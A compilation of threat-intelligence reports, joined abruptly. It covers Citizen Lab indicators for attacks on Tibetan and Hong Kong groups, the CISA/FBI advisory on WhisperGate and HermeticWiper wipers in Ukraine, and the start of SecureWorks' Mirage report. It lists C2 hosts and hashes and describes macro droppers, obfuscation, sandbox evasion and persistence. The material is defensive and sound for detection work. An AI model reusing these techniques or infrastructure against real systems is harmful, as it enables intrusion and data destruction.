https://targetedthreats.net/ https://citizenlab.org/2013/08/surtr-malware-family-targeting-the-tibetan-community/ https://sites.google.com/site/valkyriexsecurityresearch/ https://sites.google.com/site/valkyriexsecurityresearch/ http://www.symantec.com/security_response/writeup.jsp?docid2015-032419-0256-99 https://citizenlab.org/wp-content/uploads/2015/06/fsecure_cert.png June 2015 11 Table 2: Sample Details Sample MD5 Delivery Mechani sm Targe ted Group Malwa re Family Command and Control 8a18a13910838d08e38db80a 08e15bd5 Email Attachm ent Hong Kong Wofeks ad eset- windows.findhe re.org 705147c509206151c22515ef 568bac51 Email Attachm ent Hong Kong PlugX (Sideloa d F- Secure) dnsupdate.dyna mic-dns.net 18bb1ce405e4abac4b0fc6305 4beac6c Email Attachm ent Tibeta n PlugX (Sideloa d F- Secure) dnsupdate.dyna mic-dns.net 2a544922d3ece4351c1af4ca6 3c24550 Google Drive Link Tibeta n PlugX (Sideloa d Microso ft Office 2003 compon ent) good.wha.la d7832e76ee2c5c48ae428e575 99b589e Email Attachm ent Tibeta n Not identifie d free1999.jkub.c om Conclusion The re-purposed content, low AV detection rate, and the lack of any obvious signs to a user that the files are malicious (such as a program crash) make these attacks concerning.
In the case of the Tibetan attacks, the use of CVE-2014-4114 shows a shift in tactics and a possible move away from CVE-2012-0158, which is the most commonly used CVE we have seen in attacks against the community.
In addition, the use of Google Drive further suggests a potential change in tactics, possibly in response to behavioral countermeasures developed by Tibetan civil society.
June 2015 12 The overlap in attacks against Tibet and Hong Kong groups also raises questions for future work.
Are the attacks being conducted by the same threat actor, or is there sharing of TTPs between actors targeting these groups?
Further analysis of attacks against these communities is needed to probe these questions.
Acknowledgements Special thanks to Valkyrie-X Security Research Group.
The Citizen Labs research on Targeted Threats against Civil Society is supported by the John D. and Catherine T. MacArthur Foundation.
Indicators of Compromise Tibet Attack 1 Attachment File Name: Xi Jinpings Tibet Challenge.pps MD5: 18bb1ce405e4abac4b0fc63054beac6c Drops File name: fsavstrt.exe MD5: 9459478ab9a9b996de683789f77b185c File name: FSMA32.dll MD5: 8432c77b12343d59d991b0d0e0c12f7d File name: FSMA32.dllfox MD5: db5a9c790e909629aaf7079b6996861f Command and Control: dnsupdate.dynamic-dns.net Tibet Attack 2 Attachment File name: Desmond Tutu.pps MD5: d7832e76ee2c5c48ae428e57599b589e Drops File name: putty.gif.exe MD5: a990071b60046863c98bcf462fede77a Command and Control: free1999.jkub.com Tibet Attack 3 Attachment File name: H.H.
THE 14TH DALAI LAMA.pps MD5: 2a544922d3ece4351c1af4ca63c24550 https://sites.google.com/site/valkyriexsecurityresearch/ June 2015 13 Drops File name: SX.exe MD5: 5730866b34ef589bd398c9a9b6d7e307 File name: SXLOC.dll MD5: d839691657ca814be13d5c9c6511d6b2 File name: SXLOC.zap MD5: 03c900a1b115e759b32e4172dec52aa2 Command and Control: good.wha.la Hong Kong Attack 1 Attachment Name: .pps MD5: 705147c509206151c22515ef568bac51 Drops File name: fsavstrt.exe MD5: 9459478ab9a9b996de683789f77b185c File name:  FSMA32.dll MD5: 8432c77b12343d59d991b0d0e0c12f7d File name: FSMA32.dllfox MD5: db5a9c790e909629aaf7079b6996861f Command and Control: dnsupdate.dynamic-dns.net Hong Kong Attack 2 Attachment File name: Speech and Media Freedom - New Lessons of the Umbrella Revolution.pps MD5: 8a18a13910838d08e38db80a08e15bd5 Drops File name: test.gif.exe MD5: f90c7f8f14d9b5c1898035002401a006 Command and Control: 58.64.139.251
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field-offices, or the FBIs 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e- mail at CyWatchfbi.gov.
When available, please include the following information regarding the incident: date, time, and location of the incident type of activity number of people affected type of equipment used for the activity the name of the submitting company or organization and a designated point of contact.
To request incident response resources or technical assistance related to these threats, contact CISA at CISAServiceDeskcisa.dhs.gov.
This document is marked TLP:WHITE.
Disclosure is not limited.
Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release.
Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
For more information on the Traffic Light Protocol, see https://www.cisa.gov/tlp.
TLP Product ID: AA22-057A February 26, 2022 Co-Authored by: TLP:WHITE TLP:WHITE Update: Destructive Malware Targeting Organizations in Ukraine SUMMARY (Updated April 28, 2022) This advisory has been updated to include additional Indicators of Compromise (IOCs) for WhisperGate and technical details for HermeticWiper, IsaacWiper, HermeticWizard, and CaddyWiper destructive malware, all of which have been deployed against Ukraine since January 2022.
Additional IOCs associated with WhisperGate are in the Appendix, and specific malware analysis reports (MAR) are hyperlinked below.
Refer to MAR-10375867.r1.v1 for technical details on HermeticWiper.
Refer to MAR-10376640.r1.v1 for technical details on IsaacWiper and HermeticWizard Refer to MAR-10376640.r2.v1 for technical details on CaddyWiper.
(
end of update) Leading up to Russias unprovoked attack against Ukraine, threat actors deployed destructive malware against organizations in Ukraine to destroy computer systems and render them inoperable.
On January 15, 2022, the Microsoft Threat Intelligence Center (MSTIC) disclosed that malware, known as WhisperGate, was being used to target organizations in Ukraine.
According to Microsoft, WhisperGate is intended to be destructive and is designed to render targeted devices inoperable.
On February 23, 2022, several cybersecurity researchers disclosed that malware known as HermeticWiper was being used against organizations in Ukraine.
According to Sentinel Labs, Actions to Take Today: Set antivirus and antimalware programs to conduct regular scans.
Enable strong spam filters to prevent phishing emails from reaching end users.
Filter network traffic.
Update software.
Require multifactor authentication.
https://www.fbi.gov/contact-us/field-offices mailto:CyWatchfbi.gov mailto:CISAServiceDeskcisa.dhs.gov https://www.cisa.gov/tlp https://us-cert.gov/ncas/analysis-reports/ar22-115a https://us-cert.gov/ncas/analysis-reports/ar22-115b https://us-cert.gov/ncas/analysis-reports/ar22-115c https://www.cisa.gov/shields-up https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ https://twitter.com/ESETresearch/status/1496581903205511181 https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ CISA  FBI TLP:WHITE Page 2 of 16  Product ID: AA22-057A TLP:WHITE the malware targets Windows devices, manipulating the master boot record, which results in subsequent boot failure.
Destructive malware can present a direct threat to an organizations daily operations, impacting the availability of critical assets and data.
Further disruptive cyberattacks against organizations in Ukraine are likely to occur and may unintentionally spill over to organizations in other countries.
Organizations should increase vigilance and evaluate their capabilities encompassing planning, preparation, detection, and response for such an event.
This joint Cybersecurity Advisory (CSA) between the Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) provides information on WhisperGate and HermeticWiper malware as well as open-source indicators of compromise (IOCs) for organizations to detect and prevent the malware.
Additionally, this joint CSA provides recommended guidance and considerations for organizations to address as part of network architecture, security baseline, continuous monitoring, and incident response practices.
TECHNICAL DETAILS Threat actors have deployed destructive malware, including both WhisperGate and HermeticWiper, against organizations in Ukraine to destroy computer systems and render them inoperable.
Listed below are high-level summaries of campaigns employing the malware.
CISA recommends organizations review the resources listed below for more in-depth analysis and see the Mitigation section for best practices on handling destructive malware.
On January 15, 2022, Microsoft announced the identification of a sophisticated malware operation targeting multiple organizations in Ukraine.
The malware, known as WhisperGate, has two stages that corrupts a systems master boot record, displays a fake ransomware note, and encrypts files based on certain file extensions.
Note: although a ransomware message is displayed during the attack, Microsoft highlighted that the targeted data is destroyed, and is not recoverable even if a ransom is paid.
See Microsofts blog on Destructive malware targeting Ukrainian organizations for more information and see the IOCs in table 1.
Table 1: IOCs associated with WhisperGate Name File Category  File Hash Source WhisperGate stage1.exe a196c6b8ffcb97ffb276d04f354696e2391 311db3841ae16c8c9f56f36a38e92 Microsoft MSTIC WhisperGate stage2.exe dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f 5329958d38b58c3fd9384081c9b78 Microsoft MSTIC (Updated April 28, 2022) See Appendix: Additional IOCs associated with WhisperGate.
On February 23, 2022, cybersecurity researchers disclosed that malware known as HermeticWiper was being used against organizations in Ukraine.
According to Sentinel Labs, the malware targets Windows devices, manipulating the master boot record and resulting in subsequent boot failure.
https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ https://www.virustotal.com/gui/file/a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92 https://www.virustotal.com/gui/file/a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92 https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ https://www.virustotal.com/gui/file/dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78 https://www.virustotal.com/gui/file/dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78 https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ CISA  FBI TLP:WHITE Page 3 of 16  Product ID: AA22-057A TLP:WHITE Note: according to Broadcom Software, [HermeticWiper] has some similarities to the earlier WhisperGate wiper attacks against Ukraine, where the wiper was disguised as ransomware.
See the following resources for more information and see the IOCs in table 2 below.
ESET Research Tweet: Breaking.
ESETResearch discovered a new data wiper malware used in Ukraine today.
ESET telemetry shows that it was installed on hundreds of machines in the country.
Sentinel Labs: HermeticWiper  New Destructive Malware Used In Cyber Attacks on Ukraine Broadcom Softwares Symantec Threat Hunter Team: Ukraine: Disk-wiping Attacks Precede Russian Invasion https://twitter.com/ESETresearch/status/1496581903205511181 https://twitter.com/ESETresearch/status/1496581903205511181 https://twitter.com/ESETresearch/status/1496581903205511181 https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia CISA  FBI TLP:WHITE Page 4 of 16  Product ID: AA22-057A TLP:WHITE Table 2: IOCs associated with HermeticWiper Name File Category  File Hash Source Win32/KillDisk .NCV Trojan 912342F1C840A42F6B74132F8A7C4FFE7D4 0FB77 61B25D11392172E587D8DA3045812A66C33 85451 ESET research HermeticWiper Win32 EXE 912342f1c840a42f6b74132f8a7c4ffe7d4 0fb77 Sentinel Labs HermeticWiper Win32 EXE 61b25d11392172e587d8da3045812a66c33 85451 Sentinel Labs RCDATA_DRV_X64 ms-compressed a952e288a1ead66490b3275a807f52e5 Sentinel Labs RCDATA_DRV_X86 ms-compressed 231b3385ac17e41c5bb1b1fcb59599c4 Sentinel Labs RCDATA_DRV_XP_ X64 ms-compressed 095a1678021b034903c85dd5acb447ad Sentinel Labs RCDATA_DRV_XP_ X86 ms-compressed eb845b7a16ed82bd248e395d9852f467 Sentinel Labs Trojan.
Killdis k Trojan.
Killdis k 1bc44eef75779e3ca1eefb8ff5a64807dbc 942b1e4a2672d77b9f6928d292591 Symantec Threat Hunter Team Trojan.
Killdis k Trojan.
Killdis k 0385eeab00e946a302b24a91dea4187c121 0597b8e17cd9e2230450f5ece21da Symantec Threat Hunter Team Trojan.
Killdis k Trojan.
Killdis k a64c3e0522fad787b95bfb6a30c3aed1b57 86e69e88e023c062ec7e5cebf4d3e Symantec Threat Hunter Team Ransomware Trojan.
Killdis k 4dc13bb83a16d4ff9865a51b3e4d2411232 7c526c1392e14d56f20d6f4eaf382 Symantec Threat Hunter Team https://twitter.com/ESETresearch/status/1496581916367151115?s https://twitter.com/ESETresearch/status/1496581916367151115?s https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia CISA  FBI TLP:WHITE Page 5 of 16  Product ID: AA22-057A TLP:WHITE MITIGATIONS Best Practices for Handling Destructive Malware As previously noted above, destructive malware can present a direct threat to an organizations daily operations, impacting the availability of critical assets and data.
Organizations should increase vigilance and evaluate their capabilities, encompassing planning, preparation, detection, and response, for such an event.
This section is focused on the threat of malware using enterprise-scale distributed propagation methods and provides recommended guidance and considerations for an organization to address as part of their network architecture, security baseline, continuous monitoring, and incident response practices.
CISA and the FBI urge all organizations to implement the following recommendations to increase their cyber resilience against this threat.
Potential Distribution Vectors Destructive malware may use popular communication tools to spread, including worms sent through email and instant messages, Trojan horses dropped from websites, and virus-infected files downloaded from peer-to-peer connections.
Malware seeks to exploit existing vulnerabilities on systems for quiet and easy access.
The malware has the capability to target a large scope of systems and can execute across multiple systems throughout a network.
As a result, it is important for organizations to assess their environment for atypical channels for malware delivery and/or propagation throughout their systems.
Systems to assess include: Enterprise applications  particularly those that have the capability to directly interface with and impact multiple hosts and endpoints.
Common examples include: o Patch management systems, o Asset management systems, o Remote assistance software (typically used by the corporate help desk), o Antivirus (AV) software, o Systems assigned to system and network administrative personnel, o Centralized backup servers, and o Centralized file shares.
While not only applicable to malware, threat actors could compromise additional resources to impact the availability of critical data and applications.
Common examples include: Centralized storage devices o Potential risk  direct access to partitions and data warehouses.
Network devices o Potential risk  capability to inject false routes within the routing table, delete specific routes from the routing table, remove/modify configuration attributes, or destroy firmware or system binarieswhich could isolate or degrade availability of critical network resources.
CISA  FBI TLP:WHITE Page 6 of 16  Product ID: AA22-057A TLP:WHITE Best Practices and Planning Strategies Common strategies can be followed to strengthen an organizations resilience against destructive malware.
Targeted assessment and enforcement of best practices should be employed for enterprise components susceptible to destructive malware.
Communication Flow Ensure proper network segmentation.
Ensure that network-based access control lists (ACLs) are configured to permit server-to-host and host-to-host connectivity via the minimum scope of ports and protocols and that directional flows for connectivity are represented appropriately.
o Communications flow paths should be fully defined, documented, and authorized.
Increase awareness of systems that can be used as a gateway to pivot (lateral movement) or directly connect to additional endpoints throughout the enterprise.
o Ensure that these systems are contained within restrictive Virtual Local Area Networks (VLANs), with additional segmentation and network access controls.
Ensure that centralized network and storage devices management interfaces reside on restrictive VLANs.
o Layered access control, and o Device-level access control enforcement  restricting access from only pre-defined VLANs and trusted IP ranges.
Access Control For enterprise systems that can directly interface with multiple endpoints: o Require multifactor authentication for interactive logons.
o Ensure that authorized users are mapped to a specific subset of enterprise personnel.
If possible, the Everyone, Domain Users, or the Authenticated Users groups should not be permitted the capability to directly access or authenticate to these systems.
o Ensure that unique domain accounts are used and documented for each enterprise application service.
Context of permissions assigned to these accounts should be fully documented and configured based upon the concept of least privilege.
Provides an enterprise with the capability to track and monitor specific actions correlating to an applications assigned service account.
o If possible, do not grant a service account with local or interactive logon permissions.
Service accounts should be explicitly denied permissions to access network shares and critical data locations.
o Accounts that are used to authenticate to centralized enterprise application servers or devices should not contain elevated permissions on downstream systems and resources throughout the enterprise.
Continuously review centralized file share ACLs and assigned permissions.
o Restrict Write/Modify/Full Control permissions when possible.
Monitoring Audit and review security logs for anomalous references to enterprise-level administrative (privileged) and service accounts.
CISA  FBI TLP:WHITE Page 7 of 16  Product ID: AA22-057A TLP:WHITE o Failed logon attempts, o File share access, and o Interactive logons via a remote session.
Review network flow data for signs of anomalous activity, including: o Connections using ports that do not correlate to the standard communications flow associated with an application, o Activity correlating to port scanning or enumeration, and o Repeated connections using ports that can be used for command and control purposes.
Ensure that network devices log and audit all configuration changes.
o Continually review network device configurations and rule sets to ensure that communications flows are restricted to the authorized subset of rules.
File Distribution When deploying patches or AV signatures throughout an enterprise, stage the distributions to include a specific grouping of systems (staggered over a pre-defined period).
o This action can minimize the overall impact in the event that an enterprise patch management or AV system is leveraged as a distribution vector for a malicious payload.
Monitor and assess the integrity of patches and AV signatures that are distributed throughout the enterprise.
o Ensure updates are received only from trusted sources, o Perform file and data integrity checks, and o Monitor and audit  as related to the data that is distributed from an enterprise application.
System and Application Hardening Ensure robust vulnerability management and patching practices are in place.
o CISA maintains a living catalog of known exploited vulnerabilities that carry significant risk to federal agencies as well as public and private sectors entities.
In addition to thoroughly testing and implementing vendor patches in a timelyand, if possible, automatedmanner, organizations should ensure patching of the vulnerabilities CISA includes in this catalog.
Ensure that the underlying operating system (OS) and dependencies (e.g., Internet Information Services [IIS], Apache, Structured Query Language [SQL]) supporting an application are configured and hardened based upon industry-standard best practice recommendations.
Implement application-level security controls based on best practice guidance provided by the vendor.
Common recommendations include: o Use role-based access control, o Prevent end-user capabilities to bypass application-level security controls, For example, do not allow users to disable AV on local workstations.
o Remove, or disable unnecessary or unused features or packages, and o Implement robust application logging and auditing.
https://cisa.gov/known-exploited-vulnerabilities CISA  FBI TLP:WHITE Page 8 of 16  Product ID: AA22-057A TLP:WHITE Recovery and Reconstitution Planning A business impact analysis (BIA) is a key component of contingency planning and preparation.
The overall output of a BIA will provide an organization with two key components (as related to critical mission/business operations): Characterization and classification of system components, and Interdependencies.
Based upon the identification of an organizations mission critical assets (and their associated interdependencies), in the event that an organization is impacted by destructive malware, recovery and reconstitution efforts should be considered.
To plan for this scenario, an organization should address the availability and accessibility for the following resources (and should include the scope of these items within incident response exercises and scenarios): Comprehensive inventory of all mission critical systems and applications: o Versioning information, o System/application dependencies, o System partitioning/storage configuration and connectivity, and o Asset owners/points of contact.
Contact information for all essential personnel within the organization, Secure communications channel for recovery teams, Contact information for external organizational-dependent resources: o Communication providers, o Vendors (hardware/software), and o Outreach partners/external stakeholders Service contract numbers  for engaging vendor support, Organizational procurement points of contact, Optical disc image (ISO)/image files for baseline restoration of critical systems and applications: o OS installation media, o Service packs/patches, o Firmware, and o Application software installation packages.
Licensing/activation keys for OS and dependent applications, Enterprise network topology and architecture diagrams, System and application documentation, Hard copies of operational checklists and playbooks, System and application configuration backup files, Data backup files (full/differential), System and application security baseline and hardening checklists/guidelines, and System and application integrity test and acceptance checklists.
Incident Response Victims of a destructive malware attacks should immediately focus on containment to reduce the scope of affected systems.
Strategies for containment include: https://www.ready.gov/business-impact-analysis CISA  FBI TLP:WHITE Page 9 of 16  Product ID: AA22-057A TLP:WHITE Determining a vector common to all systems experiencing anomalous behavior (or having been rendered unavailable)from which a malicious payload could have been delivered: o Centralized enterprise application, o Centralized file share (for which the identified systems were mapped or had access), o Privileged user account common to the identified systems, o Network segment or boundary, and o Common Domain Name System (DNS) server for name resolution.
Based upon the determination of a likely distribution vector, additional mitigation controls can be enforced to further minimize impact: o Implement network-based ACLs to deny the identified application(s) the capability to directly communicate with additional systems, Provides an immediate capability to isolate and sandbox specific systems or resources.
o Implement null network routes for specific IP addresses (or IP ranges) from which the payload may be distributed, An organizations internal DNS can also be leveraged for this task, as a null pointer record could be added within a DNS zone for an identified server or application.
o Readily disable access for suspected user or service account(s), o For suspect file shares (which may be hosting the infection vector), remove access or disable the share path from being accessed by additional systems, and o Be prepared to, if necessary, reset all passwords and tickets within directories (e.g., changing golden/silver tickets).
As related to incident response and incident handling, organizations are encouraged to report incidents to the FBI and CISA (see the Contact section below) and to preserve forensic data for use in internal investigation of the incident or for possible law enforcement purposes.
See Technical Approaches to Uncovering and Remediating Malicious Activity for more information.
CONTACT All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at centralcisa.dhs.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBIs 24/7 CyWatch at (855) 292-3937 or CyWatchfbi.gov.
RESOURCES Joint CSA: Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure Joint CSA: NSA and CISA Recommend Immediate Actions to Reduce Exposure Across Operational Technologies and Control Systems Joint CSA: Ongoing Cyber Threats to U.S. Water and Wastewater Systems CISA and MS-ISAC: Joint Ransomware Guide NIST: Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events NIST: Data Integrity: Recovering from Ransomware and Other Destructive Events https://www.cisa.gov/uscert/ncas/alerts/aa20-245a https://www.cisa.gov/uscert/ncas/alerts/aa20-245a mailto:centralcisa.dhs.gov https://www.fbi.gov/contact-us/field-offices mailto:CyWatchfbi.gov https://www.cisa.gov/uscert/ncas/alerts/aa22-011a https://www.cisa.gov/uscert/ncas/alerts/aa22-011a https://www.cisa.gov/uscert/ncas/alerts/aa20-205a https://www.cisa.gov/uscert/ncas/alerts/aa20-205a https://www.cisa.gov/uscert/ncas/alerts/aa21-287a https://www.cisa.gov/sites/default/files/publications/CISA_MS-ISAC_Ransomware20Guide_S508C.pdf https://www.nccoe.nist.gov/projects/building-blocks/data-integrity/detect-respond https://www.nccoe.nist.gov/projects/building-blocks/data-integrity/recover CISA  FBI TLP:WHITE Page 10 of 16  Product ID: AA22-057A TLP:WHITE CISA Cyber hygiene services: CISA offers a range of no-cost services to help critical infrastructure organizations assess, identify and reduce their exposure to threats, including ransomware.
By requesting and leveraging these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors.
UPDATED APRIL 28, 2022: APPENDIX: Additional IOCS Associated with WhisperGate The hashes in Table 3 contain malicious binaries, droppers, and macros linked to WhisperGate cyber actors activity.
The binaries are predominantly .Net and are obfuscated.
Obfuscation varies some of the binaries contain multiple layers of obfuscation.
Analysis identified multiple uses of string reversal, character replacement, base64 encoding, and packing.
Additionally, the malicious binaries contain multiple defenses including VM checks, sandbox detection and evasion, and anti-debugging techniques.
Finally, the sleep command was used in varying lengths via PowerShell to obfuscate execution on a victims network.
All Microsoft .doc files contain a malicious macro that is base64 encoded.
Upon enabling the macro, a PowerShell script runs a sleep command and then downloads a file from an external site.
The script connects to the external website via HTTP to download an executable.
Upon download, the executable is saved to C:\Users\Public\Documents\ filepath on the victim host.
An identified zip file was found to contain the Microsoft Word file macro_t1smud.doc.
Once the macro is enabled, a bash script runs a sleep command and the script connects to htxxps://the.earth.li/sgtatham/putty/latest/w32/putty.exe.
This binary is likely the legitimate Putty Secure Shell binary.
Upon download the file is saved to C:\Users\Public\Documents\ file path.
Profile of Malicious Hashes Saintbot (and related .Net loaders) WhisperGate Malware and related VB files Quasar RAT .NET Infostealer malware Telegram Bot Multiple Loaders (mostly utilizing PowerShell that pull down a jpg or bin files) Jpg/PNG files  obfuscated executables antidef.bat  likely a bat file to disable Windows Defender Table 3: Additional IOCs associated with WhisperGate Hash Associated Files 647ebdca2ef6b74b17bb126df19bf0ed88341650 loader2132.exe 24f71409bde9d01e3519236e66f3452236302e46 saint.exe https://www.cisa.gov/cyber-hygiene-services CISA  FBI TLP:WHITE Page 11 of 16  Product ID: AA22-057A TLP:WHITE 1e3497ac435936be06ba665a4acd06b850cf56b4 loader.exe 981319f00b654d0142430082f2e636ef69a377d9 Yudjcfoyg.exe e0dbe49c9398a954095ee68186f391c288b9fcc5 Project_1.exe 0ba64c284dc0e13bc3f7adfee084ed25844da3d2 Hjtiyz.jpg 6b8eab6713abb7c1c51701f12f23cdff2ff3a243 Ltfckzl.jpg 3bbb84206f0c81f7fd57148f913db448a8172e92 Vgdnggv.jpg 7c77b1c72a2228936e4989de2dfab95bfbbbc737 Pfiegomql.jpg c0cd6f8567df73e9851dbca4f7c4fbfe4813a2e1 Fezpwij.jpg d6830184a413628db9946faaae8b08099c0593a0 Bqpptgcal.jpg d083da96134924273a7cbc8b6c51c1e92de4f9e1 loader.jpg d599f16e60a916f38f201f1a4e6d73cb92822502 Debythht.jpg 9b9374a5e376492184a368fcc6723a7012132eae Dmhdgocsp.jpg 86bd95db7b514ea0185dba7876fa612fae42b715 Zysyrokzk.jpg e7917df9feabfedae47d8b905136d52cb5cb7f37 Baeipiyd.jpg b2d863fc444b99c479859ad7f012b840f896172e Tbopbh.jpg d85e1614cf4a1e9ec632580b62b0ecb5f8664352 Lxkdjr.jpg 08f0b0d66d370151fd8a265b1f9be8be61cc1aa9  Twojt.bin 5ac592332a406d5b2dcfc81b131d261da7e791d2  Rvlxi.bin 052825569c880212e1e39898d387ef50238aaf35  Yarfe.bin 4c2a0f44b176ba83347062df1d56919a25445568  Ftvqpq.bin d51214461fc694a218a01591c72fe89af0353bc1  Pkbsu.bin 1125b2c3c91491aa71e0536bb9a8a1b86ff8f641  Pkcxiu.bin 37f54f121bcae65b4b3dd680694a11c5a5dfc406  loader.bin 4facd9a973505bb00eb1fd9687cbab906742df73  loader.bin 376a2339cbbb94d33f82dea2ea78bb011485e0d9  Qmpnrffn.bin b6793fc62b27ee3cce24e9e63e3108a777f71904  Vpzhote.bin 1fc463b2f53ba0889c90cc2b7866afae45a511de  Yymmdbfrb.bin ff71f9defc2dd27b488d961ce0fbc6ece56b2962  Zlhmmwutx.bin 13ca079770f6f9bdddfea5f9d829889dc1fbc4ed  Xhlnfjeqy.bin CISA  FBI TLP:WHITE Page 12 of 16  Product ID: AA22-057A TLP:WHITE c99c982d1515ade3da81268e79f5e5f7d550aabd  Gpfsqm.png d6ffa42548ff12703e38c5db6c9c39c34fe3d82a  Ktlbo.png bd5116865bcf066758f817ba9385cc7d001ecad9  Vgdnggv.png 034c0d73b21cf17c25c086d19a6ef3bb8a06bab7  Rsscffiiu.png 69e4efc8000a473d2b2c0067f317b22664453205  loader.png 424f7a756f72f1da9012859bf86ad7651bafa937  Wmztvc.png 6c64e1f2ba11ecff5e899f880d14da42acf3f699  Ygxdlt.png fa8a373e837d7be2fce0bfe073a6fdeaefc56ca1  Fewbfaklk.png 0eccc0aa674fd9fc27023c70067e630fd5d21cd6  www.google.png 6e11c3e119499f11b83787cc4bb5f2751bd90219  Nxoaa.com 8a93bfd9e70611547a420971662d113b6b3c6234 Lxkdjr.com b19d5f0d8696271aff5af616b91a4cdc73981934  www.google.com b5e3e65cd6b09b17d4819a1379dde7db3e33813b  Cpdfx.jpeg d92e315f3c290a7e71950480f074af5b59e8bd3d  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Handling Destructive Malware Potential Distribution Vectors Best Practices and Planning Strategies Communication Flow Access Control Monitoring File Distribution System and Application Hardening Recovery and Reconstitution Planning Incident Response Contact Resources Updated April 28, 2022: Appendix: Additional IOCs Associated with WhisperGate Profile of Malicious Hashes
The Mirage Campaign Author: Silas Cutler, Dell SecureWorks Counter Threat Unit(TM) Threat Intelli- gence Date: 18 September 2012 URL: http://www.secureworks.com/research/threats/the-mirage-campaign/ Introduction Since April 2012, the Dell SecureWorks Counter Threat Unit (CTU) research team has been tracking a cyber espionage campaign that uses a remote access trojan (RAT) named Mirage (also known as MirageFox).
This ongoing attack has targeted a high-profile oil company in the Phillipines, a military organization in Taiwan, an energy company in Canada, and several as yet unidentified entities in Brazil, Israel, Egypt and Nigeria.
Analysis Distribution vector Based on the data collected by the CTU research team, the campaigns primary attack vector is spearphishing email that targets mid-level to senior-level executives.
These emails contain an attachment that includes a malicious payload that installs a copy of Mirage.
CTU researchers have identified several files that drop and execute a copy of Mirage onto a target system.
These droppers are designed to look and behave like PDF docu- ments.
However, the droppers are stand-alone executable files that open an embedded PDF file and execute the Mirage trojan.
In one example, CTU researchers observed an executable file (MD5 hash ce1cdc9c95a6808945f54164b2e4d9d2) that upon execution drops a copy of Mirage and opens an embedded PDF of a news story titled Yemeni Women can participate in politics just like men, says President Saleh that was posted on the Yemen Observers website.
Behavior analysis The CTU research team has identified two main variants of the Mirage trojan.
These variants are based on key evolutionary differences in the execution and encodings used in communication with the command and control (C2) servers.
http://www.secureworks.com/cyber-threat-intelligence/threats/the-mirage-campaign/ http://www.yobserver.com/front-page/10021095.html When Mirage executes, the original file copies itself to a folder under C:\Documents and Settings\USER\ or C:\Windows\ and then deletes the original file.
After the ini- tial copy, Mirage starts the newly created file and exits the original.
The newly started copy creates registry keys to ensure that the system remains infected after every reboot.
CTU researchers have observed the following filenames created after execution: svchost.exe ernel32.dll thumb.db csrss.exe Reader_SL.exe MSN.exe Phone-home and C2 operations The data sent by Mirage shares attributes with the malware family known as JKDDOS, which was researched by Arbor Networks.
In its initial phone-home connection, JKD- DOS sends a system profile to the C2 server.
